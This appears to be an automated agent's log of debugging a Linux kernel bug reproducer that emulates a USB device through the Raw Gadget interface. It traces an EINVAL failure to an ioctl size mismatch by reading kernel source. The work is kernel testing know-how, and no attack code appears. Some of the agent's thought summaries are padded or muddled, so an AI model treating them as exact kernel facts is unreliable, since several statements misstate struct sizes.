llm |
repro-generator |
0m
Model:
Tokens:
input: 13832
output: 31
thoughts: 449
Thoughts: **My Thought Process Regarding the `USB_RAW_IOCTL_EVENT_FETCH` Failure**
Right, so my primary concern is this `USB_RAW_IOCTL_EVENT_FETCH` failure. The feedback I'm getting is pretty explicit: the `strace` output points to an infinite loop of `ioctl` calls failing with `EINVAL`. The specific line of criticism is that the C code isn't correctly initializing the `length` field of the `usb_raw_event` structure *before* the `ioctl` call; it's suggesting it might be uninitialized or zero.
Now, I've pulled up the relevant code snippet:
```c
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
```
My immediate thought, looking at this, is: "Hold on a second. `event.length` is being set to `sizeof(event.data)`, and `sizeof(event.data)` is 64." This seems like a reasonable initial size.
Then the question arises in my mind: "Is `event.length` meant to be an *in/out* parameter here?" This is a crucial distinction. If it's purely an output, then setting it to a fixed size like 64 is one thing. But if the kernel expects to *write* the actual event data into `event.data` and *update* `event.length` to reflect the true amount of data transferred, then my current initialization might be the problem.
To clarify this, I need to delve into the kernel source. I'm looking at `drivers/usb/gadget/legacy/raw_gadget.c`. And here's where it gets interesting: I'm finding that `struct usb_raw_event` defines `length` as a `__u32`. This is key.
Now, recalling the previous reproducer's implementation, it was very similar:
```c
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
```
This reinforces my suspicion. If the `ioctl` is returning `-EINVAL`, as the `strace` suggests, it's highly probable that the value I'm providing for `event.length` isn't what the kernel's `raw_ioctl_event_fetch` function is expecting. It's not simply a matter of providing a *size*; it might be expecting a specific indication of the desired buffer size or perhaps even an output that gets corrected.
My next step, therefore, is to closely examine the `raw_ioctl_event_fetch` implementation within `drivers/usb/gadget/legacy/raw_gadget.c` to understand precisely how it uses and expects the `event.length` field to behave. This is where the root cause of the `EINVAL` is likely to be found.
|
| 356/4 |
2026/09/11 23:28 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:raw_ioctl_event_fetch]
Results: map[SourceCode: 615: static int raw_ioctl_event_fetch(struct raw_dev *dev, unsigned long value)
616: {
617: struct usb_raw_event arg;
618: unsigned long flags;
619: struct usb_raw_event *event;
620: uint32_t length;
621:
622: if (copy_from_user(&arg, (void __user *)value, sizeof(arg)))
623: return -EFAULT;
624:
625: spin_lock_irqsave(&dev->lock, flags);
626: if (dev->state != STATE_DEV_RUNNING) {
627: dev_dbg(dev->dev, "fail, device is not running\n");
628: spin_unlock_irqrestore(&dev->lock, flags);
629: return -EINVAL;
630: }
631: if (!dev->gadget) {
632: dev_dbg(dev->dev, "fail, gadget is not bound\n");
633: spin_unlock_irqrestore(&dev->lock, flags);
634: return -EBUSY;
635: }
636: spin_unlock_irqrestore(&dev->lock, flags);
637:
638: event = raw_event_queue_fetch(&dev->queue);
639: if (PTR_ERR(event) == -EINTR) {
640: dev_dbg(&dev->gadget->dev, "event fetching interrupted\n");
641: return -EINTR;
642: }
643: if (IS_ERR(event)) {
644: dev_err(&dev->gadget->dev, "failed to fetch event\n");
645: spin_lock_irqsave(&dev->lock, flags);
646: dev->state = STATE_DEV_FAILED;
647: spin_unlock_irqrestore(&dev->lock, flags);
648: return -ENODEV;
649: }
650: length = min(arg.length, event->length);
651: if (copy_to_user((void __user *)value, event, sizeof(*event) + length)) {
652: kfree(event);
653: return -EFAULT;
654: }
655:
656: kfree(event);
657: return 0;
658: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 357/4 |
2026/09/11 23:28 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 15023
output: 29
thoughts: 27
Thoughts: **My Thought Process Unpacking the Kernel's `usb_raw_event` Handling**
Okay, let's break down what's happening here, from my perspective as someone deeply involved in this domain.
So, I'm looking at this snippet of code or data, and my immediate reaction is: "Ah! `sizeof(*event) + length` is being copied." This tells me that we're dealing with a memory operation where the size of a structure, specifically `*event` (which I understand to be an instance of a `struct usb_raw_event`), is being combined with an additional `length` value to determine the total amount of data to be transferred. This is a common pattern when dealing with variable-length data appended to a fixed-size structure.
Then, my mind immediately jumps to the context of this `struct usb_raw_event` and where it lives. I think: "Wait, `struct usb_raw_event` in the kernel..." This is the critical step. I'm not just seeing a generic data structure; I'm recognizing its specific location and purpose within the Linux kernel's USB subsystem. This immediately brings to mind the implications of kernel-level operations: potential for direct hardware interaction, system-level data handling, and the strict requirements for memory management and security within the kernel.
At this point, my thoughts are coalescing around the fact that this copy operation, using `sizeof(*event) + length`, is likely related to how the kernel is preparing or serializing a `struct usb_raw_event` for some form of output or transmission. The `length` part strongly suggests that there's auxiliary data associated with this event that's not part of the fixed `struct usb_raw_event` itself. This could be anything from USB descriptor data, command payloads, or event-specific parameters.
So, in essence, I'm tracing a path from a low-level memory operation to its specific, high-impact kernel context. I'm immediately asking myself:
* **What is this `usb_raw_event` representing?** Is it a command, a status update, a data packet fragment?
* **Where is this copy happening?** Is it being prepared for user-space consumption, for another kernel module, or for direct transmission over USB?
* **What is the significance of the `length`?** What kind of data is being appended, and why is it variable?
* **What are the potential implications of this copy?** Are we talking about copying from kernel to user space (requiring `copy_to_user`) or within the kernel itself? Is there any risk of buffer overflows or other security vulnerabilities if `length` is not properly validated?
This initial "Ah!" and "Wait..." is the beginning of a deeper dive into the specific kernel API calls and data flow that surround this `struct usb_raw_event` and its associated data, all driven by the understanding of its kernel context. I'm already anticipating the need to examine the surrounding code to understand the exact mechanism and purpose of this memory copy.
|
| 358/4 |
2026/09/11 23:28 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:usb_raw_event]
Results: map[SourceCode: 60: /*
61: * struct usb_raw_event - argument for USB_RAW_IOCTL_EVENT_FETCH ioctl.
62: * @type: The type of the fetched event.
63: * @length: Length of the data buffer. Updated by the driver and set to the
64: * actual length of the fetched event data.
65: * @data: A buffer to store the fetched event data.
66: *
67: * The fetched event data buffer contains struct usb_ctrlrequest for
68: * USB_RAW_EVENT_CONTROL and is empty for other events.
69: */
70: struct usb_raw_event {
71: __u32 type;
72: __u32 length;
73: __u8 data[];
74: };
SourceFile:include/uapi/linux/usb/raw_gadget.h]
|
| 359/4 |
2026/09/11 23:28 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 15321
output: 29
thoughts: 379
Thoughts: **My Thought Process on the USB_RAW_IOCTL_EVENT_FETCH Failure**
Okay, so I'm debugging this issue where `USB_RAW_IOCTL_EVENT_FETCH` is returning `-EINVAL`, and it's proving to be a bit tricky. My initial focus was on how data was being copied from user space to the kernel. I know that `struct usb_raw_event` in the kernel has a flexible array member `data[]`. This means that when I calculate `sizeof(*event)` from the kernel's perspective, it's just considering the fixed-size members, which in this case gives me 8 bytes (`__u32 type`, `__u32 length`).
Then, I looked at my user-space code, where I've defined `struct usb_raw_event` with `data[64]`. So, when `copy_from_user(&arg, ..., sizeof(arg))` happens in the kernel, it's indeed copying 8 bytes into the kernel's `arg` structure. After that, I'm calculating `length = min(arg.length, event->length)`. This part seems straightforward enough; I'm ensuring I don't read beyond the allocated buffer in either user space or kernel space.
So, with the data copying and length calculation seemingly handled, I'm puzzled about why `USB_RAW_IOCTL_EVENT_FETCH` would return `-EINVAL`. I decided to dive deeper into the `raw_ioctl_event_fetch` function itself within the kernel.
My review of the `raw_ioctl_event_fetch` code immediately brought me to this section:
```c
spin_lock_irqsave(&dev->lock, flags);
if (dev->state != STATE_DEV_RUNNING) {
dev_dbg(dev->dev, "fail, device is not running\n");
spin_unlock_irqrestore(&dev->lock, flags);
return -EINVAL;
}
```
Ah, there it is! The first check in the function is for the device's state. If `dev->state` is not `STATE_DEV_RUNNING`, it immediately returns `-EINVAL`. This is the direct cause of my problem.
Now, the question becomes: why is the device not in the `STATE_DEV_RUNNING` state? I've just initiated a `USB_RAW_IOCTL_RUN` call in my user-space code:
```c
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
```
I'm explicitly checking if `ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0)` returns less than 0, which would indicate an error. But, it's not returning an error, and my `perror` call isn't printing anything, meaning the `USB_RAW_IOCTL_RUN` call itself *isn't* failing. This suggests that the `ioctl` call is succeeding, but the internal state of the device isn't transitioning to `STATE_DEV_RUNNING` as expected, or perhaps something is resetting it immediately. The next step is to scrutinize the `raw_ioctl_run` handler to understand why the state might not be set correctly or why it might be changing afterward.
|
| 360/4 |
2026/09/11 23:28 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:raw_ioctl_run]
Results: map[SourceCode: 579: static int raw_ioctl_run(struct raw_dev *dev, unsigned long value)
580: {
581: int ret = 0;
582: unsigned long flags;
583:
584: if (value)
585: return -EINVAL;
586:
587: spin_lock_irqsave(&dev->lock, flags);
588: if (dev->state != STATE_DEV_INITIALIZED) {
589: dev_dbg(dev->dev, "fail, device is not initialized\n");
590: ret = -EINVAL;
591: goto out_unlock;
592: }
593: dev->state = STATE_DEV_REGISTERING;
594: spin_unlock_irqrestore(&dev->lock, flags);
595:
596: ret = usb_gadget_register_driver(&dev->driver);
597:
598: spin_lock_irqsave(&dev->lock, flags);
599: if (ret) {
600: dev_err(dev->dev,
601: "fail, usb_gadget_register_driver returned %d\n", ret);
602: dev->state = STATE_DEV_FAILED;
603: goto out_unlock;
604: }
605: dev->gadget_registered = true;
606: dev->state = STATE_DEV_RUNNING;
607: /* Matches kref_put() in raw_release(). */
608: kref_get(&dev->count);
609:
610: out_unlock:
611: spin_unlock_irqrestore(&dev->lock, flags);
612: return ret;
613: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 361/4 |
2026/09/11 23:28 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 16255
output: 57
thoughts: 281
Thoughts: **A Deep Dive into the `EINVAL` Enigma**
My mind is racing with this `EINVAL` error, and I'm tracing the execution flow backward to understand where things went awry. I initially noted that `raw_ioctl_run` explicitly sets the device state to `STATE_DEV_RUNNING`. This, in my understanding, should preclude the possibility of `dev->state != STATE_DEV_RUNNING`. I considered the possibility of `usb_gadget_register_driver` failing, but the feedback clearly indicates my program would have terminated with an error message in that scenario, which wasn't the case.
The crucial piece of information is the `strace` output: my program is trapped in an endless loop of `ioctl` calls, specifically `ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)`. I immediately recognized `_IOC(_IOC_READ, 0x55, 0x2, 0x48)` as the `USB_RAW_IOCTL_EVENT_FETCH` command. The puzzle then becomes: why is `raw_ioctl_event_fetch` returning `-EINVAL`?
My immediate recollection is that `raw_ioctl_event_fetch` is designed to return `-EINVAL` precisely when `dev->state` is *not* `STATE_DEV_RUNNING`. This contradiction is what's gnawing at me. If `raw_ioctl_run` guarantees `STATE_DEV_RUNNING`, how can `raw_ioctl_event_fetch` be reporting the opposite? This leads me to the only logical conclusion: the `dev->state` variable must be changing *after* `raw_ioctl_run` executes successfully, but *before* the `USB_RAW_IOCTL_EVENT_FETCH` call is made within the loop. My next step, therefore, is to meticulously examine all the code paths that could potentially alter `dev->state` from `STATE_DEV_RUNNING` to something else.
|
| 362/4 |
2026/09/11 23:29 |
tool |
codesearch-find-references |
0m
Error:
Args: map[ContextFile: IncludeSnippetLines:1 Name:STATE_DEV_FAILED SourceTreePrefix:drivers/usb/gadget/legacy/raw_gadget.c]
Results: map[References:<nil> TruncatedOutput:false]
|
| 363/4 |
2026/09/11 23:29 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 16592
output: 39
thoughts: 20
Thoughts: **My Thought Process on `dev->state =` in `raw_gadget.c`**
Alright, my first instinct is to dive directly into the code. I need to understand the context of `dev->state =` within `raw_gadget.c`. This is where the core logic for the raw gadget driver resides, so any state changes are likely crucial to its operation. I'm going to perform a targeted search for this specific assignment within that file. My goal is to identify *where* and *why* the `state` of the device (`dev`) is being modified. Is it being set during initialization, in response to an event, or as a consequence of some operation? Understanding these state transitions will be key to grasping the overall flow and potential failure points of the raw gadget driver.
|
| 364/4 |
2026/09/11 23:29 |
tool |
grepper |
0m
Args: map[Expression:dev->state = PathPrefix:drivers/usb/gadget/legacy/raw_gadget.c]
Results: map[Output:drivers/usb/gadget/legacy/raw_gadget.c=234=static int raw_queue_event(struct raw_dev *dev,
--
drivers/usb/gadget/legacy/raw_gadget.c-242- spin_lock_irqsave(&dev->lock, flags);
drivers/usb/gadget/legacy/raw_gadget.c:243: dev->state = STATE_DEV_FAILED;
drivers/usb/gadget/legacy/raw_gadget.c-244- spin_unlock_irqrestore(&dev->lock, flags);
--
drivers/usb/gadget/legacy/raw_gadget.c=427=static int raw_open(struct inode *inode, struct file *fd)
--
drivers/usb/gadget/legacy/raw_gadget.c-438- fd->private_data = dev;
drivers/usb/gadget/legacy/raw_gadget.c:439: dev->state = STATE_DEV_OPENED;
drivers/usb/gadget/legacy/raw_gadget.c-440- dev->dev = raw_misc_device.this_device;
--
drivers/usb/gadget/legacy/raw_gadget.c=444=static int raw_release(struct inode *inode, struct file *fd)
--
drivers/usb/gadget/legacy/raw_gadget.c-451- spin_lock_irqsave(&dev->lock, flags);
drivers/usb/gadget/legacy/raw_gadget.c:452: dev->state = STATE_DEV_CLOSED;
drivers/usb/gadget/legacy/raw_gadget.c-453- if (!dev->gadget) {
--
drivers/usb/gadget/legacy/raw_gadget.c=480=static int raw_ioctl_init(struct raw_dev *dev, unsigned long value)
--
drivers/usb/gadget/legacy/raw_gadget.c-561-
drivers/usb/gadget/legacy/raw_gadget.c:562: dev->state = STATE_DEV_INITIALIZED;
drivers/usb/gadget/legacy/raw_gadget.c-563- spin_unlock_irqrestore(&dev->lock, flags);
--
drivers/usb/gadget/legacy/raw_gadget.c=579=static int raw_ioctl_run(struct raw_dev *dev, unsigned long value)
--
drivers/usb/gadget/legacy/raw_gadget.c-592- }
drivers/usb/gadget/legacy/raw_gadget.c:593: dev->state = STATE_DEV_REGISTERING;
drivers/usb/gadget/legacy/raw_gadget.c-594- spin_unlock_irqrestore(&dev->lock, flags);
--
drivers/usb/gadget/legacy/raw_gadget.c-601- "fail, usb_gadget_register_driver returned %d\n", ret);
drivers/usb/gadget/legacy/raw_gadget.c:602: dev->state = STATE_DEV_FAILED;
drivers/usb/gadget/legacy/raw_gadget.c-603- goto out_unlock;
--
drivers/usb/gadget/legacy/raw_gadget.c-605- dev->gadget_registered = true;
drivers/usb/gadget/legacy/raw_gadget.c:606: dev->state = STATE_DEV_RUNNING;
drivers/usb/gadget/legacy/raw_gadget.c-607- /* Matches kref_put() in raw_release(). */
--
drivers/usb/gadget/legacy/raw_gadget.c=615=static int raw_ioctl_event_fetch(struct raw_dev *dev, unsigned long value)
--
drivers/usb/gadget/legacy/raw_gadget.c-645- spin_lock_irqsave(&dev->lock, flags);
drivers/usb/gadget/legacy/raw_gadget.c:646: dev->state = STATE_DEV_FAILED;
drivers/usb/gadget/legacy/raw_gadget.c-647- spin_unlock_irqrestore(&dev->lock, flags);
--
drivers/usb/gadget/legacy/raw_gadget.c=683=static int raw_process_ep0_io(struct raw_dev *dev, struct usb_raw_ep_io *io,
--
drivers/usb/gadget/legacy/raw_gadget.c-712- ret = -ENODEV;
drivers/usb/gadget/legacy/raw_gadget.c:713: dev->state = STATE_DEV_FAILED;
drivers/usb/gadget/legacy/raw_gadget.c-714- goto out_unlock;
--
drivers/usb/gadget/legacy/raw_gadget.c-717- ret = -ENODEV;
drivers/usb/gadget/legacy/raw_gadget.c:718: dev->state = STATE_DEV_FAILED;
drivers/usb/gadget/legacy/raw_gadget.c-719- goto out_unlock;
]
|
| 365/4 |
2026/09/11 23:29 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 17923
output: 31
thoughts: 65
Thoughts: **My Thought Process Unpacked**
Right, so I've just spotted something in the code: `raw_ioctl_event_fetch`. My immediate observation is that it's designed to signal a device failure by setting `dev->state = STATE_DEV_FAILED`. This happens specifically when the result of fetching an event, which is stored in the `event` variable, turns out to be an error. The condition for this is `IS_ERR(event)`.
Now, my mind immediately jumps to where `event` actually comes from. I'm tracing back the call chain and I see that `raw_ioctl_event_fetch` calls `raw_event_queue_fetch`. This is where my attention sharpens. I know that `raw_event_queue_fetch` is the function responsible for retrieving the event data itself.
The crucial piece of information here is the return value of `raw_event_queue_fetch`. I've just recalled that this function is designed to return an error pointer, indicated by `ERR_PTR(...)`, when something goes wrong. This aligns perfectly with the `IS_ERR(event)` check in `raw_ioctl_event_fetch`. It confirms that if `raw_event_queue_fetch` encounters an issue and returns an error pointer, `raw_ioctl_event_fetch` will correctly interpret that as a device failure.
So, to summarize my mental journey: I first noticed the error handling mechanism in `raw_ioctl_event_fetch`, then I identified the source of the potential error (`raw_event_queue_fetch`), and finally, I confirmed that the error return convention of `raw_event_queue_fetch` (`ERR_PTR(...)`) is precisely what `raw_ioctl_event_fetch` uses to trigger the `STATE_DEV_FAILED` state. It's a clear and logical error propagation path.
|
| 366/4 |
2026/09/11 23:29 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:raw_event_queue_fetch]
Results: map[SourceCode: 89: static struct usb_raw_event *raw_event_queue_fetch(
90: struct raw_event_queue *queue)
91: {
92: int ret;
93: unsigned long flags;
94: struct usb_raw_event *event;
95:
96: /*
97: * This function can be called concurrently. We first check that
98: * there's at least one event queued by decrementing the semaphore,
99: * and then take the lock to protect queue struct fields.
100: */
101: ret = down_interruptible(&queue->sema);
102: if (ret)
103: return ERR_PTR(ret);
104: spin_lock_irqsave(&queue->lock, flags);
105: /*
106: * queue->size must have the same value as queue->sema counter (before
107: * the down_interruptible() call above), so this check is a fail-safe.
108: */
109: if (WARN_ON(!queue->size)) {
110: spin_unlock_irqrestore(&queue->lock, flags);
111: return ERR_PTR(-ENODEV);
112: }
113: event = queue->events[0];
114: queue->size--;
115: memmove(&queue->events[0], &queue->events[1],
116: queue->size * sizeof(queue->events[0]));
117: spin_unlock_irqrestore(&queue->lock, flags);
118: return event;
119: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 367/4 |
2026/09/11 23:29 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 18492
output: 34
thoughts: 451
Thoughts: **My Thought Process on the `EINVAL` Error**
Okay, so I'm seeing this `ioctl` call return `-EINVAL`, and my immediate thought is to trace it back to the kernel code. I recall that `raw_ioctl_event_fetch` is the handler for `USB_RAW_IOCTL_EVENT_FETCH`. I know it returns `-EINVAL` if `dev->state != STATE_DEV_RUNNING`, but that's not what's happening here; the device is definitely running.
Then I look at the `strace` output again: `ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)`. The crucial piece of information here is `0x48`, which translates to 72 bytes. This is the size argument passed to the `_IOR` macro.
My immediate thought is to compare this to the `struct usb_raw_event` definition I'm using in userspace. I have:
```c
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
```
And I can calculate its size: 4 bytes for `type` + 4 bytes for `length` + 64 bytes for `data` = 72 bytes. This matches the `0x48` from the `strace` output, so `_IOR('U', 2, 0x48)` in userspace is indeed `_IOR('U', 2, sizeof(my_struct_usb_raw_event))`.
But then it hits me: what if the kernel's definition of `struct usb_raw_event` is different? I remember that kernel structures, especially those with flexible array members, can behave differently in terms of `sizeof`. A quick check of the kernel's `include/uapi/linux/usb/raw_gadget.h` reveals:
```c
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[];
};
```
Ah, there's the rub! The kernel uses a flexible array member `data[]`. This means `sizeof(struct usb_raw_event)` in the kernel context is only 8 bytes (4 for `type` + 4 for `length`). The kernel, therefore, is expecting `_IOR('U', 2, 8)`.
So, the `ioctl` call in `strace` is showing `_IOR('U', 2, 0x48)`, which is 72 bytes. The kernel, however, expects `_IOR('U', 2, 8)` due to its flexible array member. This mismatch in the *size* argument passed to `_IOR` is precisely why the kernel handler for `raw_ioctl_event_fetch` is returning `EINVAL` – it's receiving an invalid size parameter. My userspace definition is too large, causing the kernel to interpret the request as malformed.
|
| 368/4 |
2026/09/11 23:29 |
tool |
codesearch-definition-source |
0m
Error:
Args: map[ContextFile: Name:USB_RAW_IOCTL_EVENT_FETCH]
Results: map[SourceCode: SourceFile:]
|
| 369/4 |
2026/09/11 23:29 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 18982
output: 45
thoughts: 35
Thoughts: **My Thought Process on Investigating `USB_RAW_IOCTL_EVENT_FETCH`**
Right, the first thing that comes to mind is I need to understand the specifics of this `USB_RAW_IOCTL_EVENT_FETCH` operation. Given my deep dive into USB raw gadget functionality, the most logical starting point is the header file where such constants are typically defined. Therefore, I'll be performing a targeted search for `USB_RAW_IOCTL_EVENT_FETCH` within the `include/uapi/linux/usb/raw_gadget.h` file. This will immediately give me the numerical value associated with this IOCTL, and more importantly, any accompanying structure definitions or comments that shed light on its purpose and parameters. This initial step is crucial for grounding my subsequent analysis in the actual kernel implementation.
|
| 370/4 |
2026/09/11 23:30 |
tool |
grepper |
0m
Args: map[Expression:USB_RAW_IOCTL_EVENT_FETCH PathPrefix:include/uapi/linux/usb/raw_gadget.h]
Results: map[Output:include/uapi/linux/usb/raw_gadget.h=31=struct usb_raw_init {
--
include/uapi/linux/usb/raw_gadget.h-36-
include/uapi/linux/usb/raw_gadget.h:37:/* The type of event fetched with the USB_RAW_IOCTL_EVENT_FETCH ioctl. */
include/uapi/linux/usb/raw_gadget.h-38-enum usb_raw_event_type {
--
include/uapi/linux/usb/raw_gadget.h-60-/*
include/uapi/linux/usb/raw_gadget.h:61: * struct usb_raw_event - argument for USB_RAW_IOCTL_EVENT_FETCH ioctl.
include/uapi/linux/usb/raw_gadget.h-62- * @type: The type of the fetched event.
--
include/uapi/linux/usb/raw_gadget.h=160=struct usb_raw_eps_info {
--
include/uapi/linux/usb/raw_gadget.h-182- */
include/uapi/linux/usb/raw_gadget.h:183:#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
include/uapi/linux/usb/raw_gadget.h-184-
]
|
| 371/4 |
2026/09/11 23:30 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 19400
output: 27
thoughts: 176
Thoughts: **The Discrepancy in ioctl Size and its Implications**
Okay, I've been digging into this `USB_RAW_IOCTL_EVENT_FETCH` call, and I've hit a snag with the `ioctl` command structure. I've just realized that the kernel defines `USB_RAW_IOCTL_EVENT_FETCH` as `_IOR('U', 2, struct usb_raw_event)`. The critical part here is the size of `struct usb_raw_event` as understood by the kernel. My understanding is that in the kernel's context, `struct usb_raw_event` has a `data[]` member with a size of 8 bytes. This means the kernel expects the `ioctl` call to specify a size of 8, leading to `_IOR('U', 2, 8)`.
However, in my user-space code, I've defined `struct usb_raw_event` with `data[64]`. This significantly increases the structure's size to 72 bytes. Consequently, when my code makes the `ioctl` call, it's passing `_IOR('U', 2, 72)`. This is where my concern lies. I know the kernel's `ioctl` dispatcher meticulously checks the command number. My immediate question is: what happens if the size argument passed from user space doesn't align with the kernel's expectation for that specific `ioctl` command? Does the dispatcher simply return `-EINVAL` in such a scenario? I need to dive into the `raw_ioctl` function within `raw_gadget.c` to confirm this behavior and understand the precise error handling for this type of size mismatch.
|
| 372/4 |
2026/09/11 23:30 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:raw_ioctl]
Results: map[SourceCode: 889: static int raw_ioctl(struct sock *sk, int cmd, int *karg)
890: {
891: switch (cmd) {
892: case SIOCOUTQ: {
893: *karg = sk_wmem_alloc_get(sk);
894: return 0;
895: }
896: case SIOCINQ: {
897: struct sk_buff *skb;
898:
899: spin_lock_bh(&sk->sk_receive_queue.lock);
900: skb = skb_peek(&sk->sk_receive_queue);
901: if (skb)
902: *karg = skb->len;
903: else
904: *karg = 0;
905: spin_unlock_bh(&sk->sk_receive_queue.lock);
906: return 0;
907: }
908:
909: default:
910: #ifdef CONFIG_IP_MROUTE
911: return ipmr_ioctl(sk, cmd, karg);
912: #else
913: return -ENOIOCTLCMD;
914: #endif
915: }
916: }
SourceFile:net/ipv4/raw.c]
|
| 373/4 |
2026/09/11 23:30 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 19989
output: 40
thoughts: 40
Thoughts: **A Moment of Realization**
Ah, I see now. My initial thought process was leading me down the wrong path. I was mentally sifting through the kernel source code, and my mind immediately jumped to `net/ipv4/raw.c`. It's a common place to find raw socket-related implementations, so it's an understandable initial association. However, upon deeper reflection, I realized that the specific context I'm concerned with – the `raw_ioctl` function – isn't located there. Instead, I've pinpointed its actual residence in `drivers/usb/gadget/legacy/raw_gadget.c`. This distinction is crucial for the task at hand, and it's good that I caught this divergence before proceeding further down the incorrect code path.
|
| 374/4 |
2026/09/11 23:30 |
tool |
grepper |
0m
Args: map[Expression:static long raw_ioctl PathPrefix:drivers/usb/gadget/legacy/raw_gadget.c]
Results: map[Output:drivers/usb/gadget/legacy/raw_gadget.c=1247=static int raw_ioctl_eps_info(struct raw_dev *dev, unsigned long value)
--
drivers/usb/gadget/legacy/raw_gadget.c-1293-
drivers/usb/gadget/legacy/raw_gadget.c:1294:static long raw_ioctl(struct file *fd, unsigned int cmd, unsigned long value)
drivers/usb/gadget/legacy/raw_gadget.c-1295-{
]
|
| 375/4 |
2026/09/11 23:30 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 20195
output: 42
thoughts: 18
Thoughts: **My Thought Process Regarding `raw_ioctl` in `raw_gadget.c`**
Alright, so my immediate impulse is to dive into the `raw_gadget.c` file and specifically examine the `raw_ioctl` function. I want to understand its role within the raw gadget framework. My primary goal is to trace how it handles the different IOCTL commands that will be passed to it, and how it interacts with the underlying USB gadget driver's state and capabilities.
I'll be looking for the core logic that dispatches these commands. Is it a simple `switch` statement, or something more complex like a lookup table? I need to see which specific IOCTLs are supported and what each one *does*. This will involve understanding the arguments passed to `raw_ioctl` and how they are interpreted, as well as what values are returned to the caller.
Furthermore, I'm keen to understand the error handling. What happens when an invalid IOCTL is presented, or when a supported IOCTL encounters an internal error? I'll be checking for appropriate return codes and any potential side effects or data corruption that could occur. It's crucial to see how the function guards against misuse and ensures the integrity of the gadget's operations.
Finally, I anticipate that this function will likely be a central point for userspace applications to interact with and control the raw USB gadget. Therefore, I'll be thinking about the security implications and any potential vulnerabilities that might arise from how these IOCTLs are processed. My analysis will focus on its functional correctness, robustness, and adherence to best practices in kernel module development.
|
| 376/4 |
2026/09/11 23:31 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_ioctl]
Results: map[SourceCode:1294: static long raw_ioctl(struct file *fd, unsigned int cmd, unsigned long value)
1295: {
1296: struct raw_dev *dev = fd->private_data;
1297: int ret = 0;
1298:
1299: if (!dev)
1300: return -EBUSY;
1301:
1302: switch (cmd) {
1303: case USB_RAW_IOCTL_INIT:
1304: ret = raw_ioctl_init(dev, value);
1305: break;
1306: case USB_RAW_IOCTL_RUN:
1307: ret = raw_ioctl_run(dev, value);
1308: break;
1309: case USB_RAW_IOCTL_EVENT_FETCH:
1310: ret = raw_ioctl_event_fetch(dev, value);
1311: break;
1312: case USB_RAW_IOCTL_EP0_WRITE:
1313: ret = raw_ioctl_ep0_write(dev, value);
1314: break;
1315: case USB_RAW_IOCTL_EP0_READ:
1316: ret = raw_ioctl_ep0_read(dev, value);
1317: break;
1318: case USB_RAW_IOCTL_EP_ENABLE:
1319: ret = raw_ioctl_ep_enable(dev, value);
1320: break;
1321: case USB_RAW_IOCTL_EP_DISABLE:
1322: ret = raw_ioctl_ep_disable(dev, value);
1323: break;
1324: case USB_RAW_IOCTL_EP_WRITE:
1325: ret = raw_ioctl_ep_write(dev, value);
1326: break;
1327: case USB_RAW_IOCTL_EP_READ:
1328: ret = raw_ioctl_ep_read(dev, value);
1329: break;
1330: case USB_RAW_IOCTL_CONFIGURE:
1331: ret = raw_ioctl_configure(dev, value);
1332: break;
1333: case USB_RAW_IOCTL_VBUS_DRAW:
1334: ret = raw_ioctl_vbus_draw(dev, value);
1335: break;
1336: case USB_RAW_IOCTL_EPS_INFO:
1337: ret = raw_ioctl_eps_info(dev, value);
1338: break;
1339: case USB_RAW_IOCTL_EP0_STALL:
1340: ret = raw_ioctl_ep0_stall(dev, value);
1341: break;
1342: case USB_RAW_IOCTL_EP_SET_HALT:
1343: ret = raw_ioctl_ep_set_clear_halt_wedge(
1344: dev, value, true, true);
1345: break;
1346: case USB_RAW_IOCTL_EP_CLEAR_HALT:
1347: ret = raw_ioctl_ep_set_clear_halt_wedge(
1348: dev, value, false, true);
1349: break;
1350: case USB_RAW_IOCTL_EP_SET_WEDGE:
1351: ret = raw_ioctl_ep_set_clear_halt_wedge(
1352: dev, value, true, false);
1353: break;
1354: default:
1355: ret = -EINVAL;
1356: }
1357:
1358: return ret;
1359: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 377/4 |
2026/09/11 23:31 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 21286
output: 31
thoughts: 352
Thoughts: **The Root of the `EINVAL` Error: A Size Mismatch in IOCTL Commands**
It dawns on me that the `switch (cmd)` statement in my code is failing to match `USB_RAW_IOCTL_EVENT_FETCH` due to a critical size discrepancy. My initial thought was that the `cmd` value itself was incorrect, but upon deeper investigation, I realized the `cmd` value is intrinsically tied to the size of the data structure it's intended to operate on. This is a common pattern in ioctl commands where the size is encoded within the command itself.
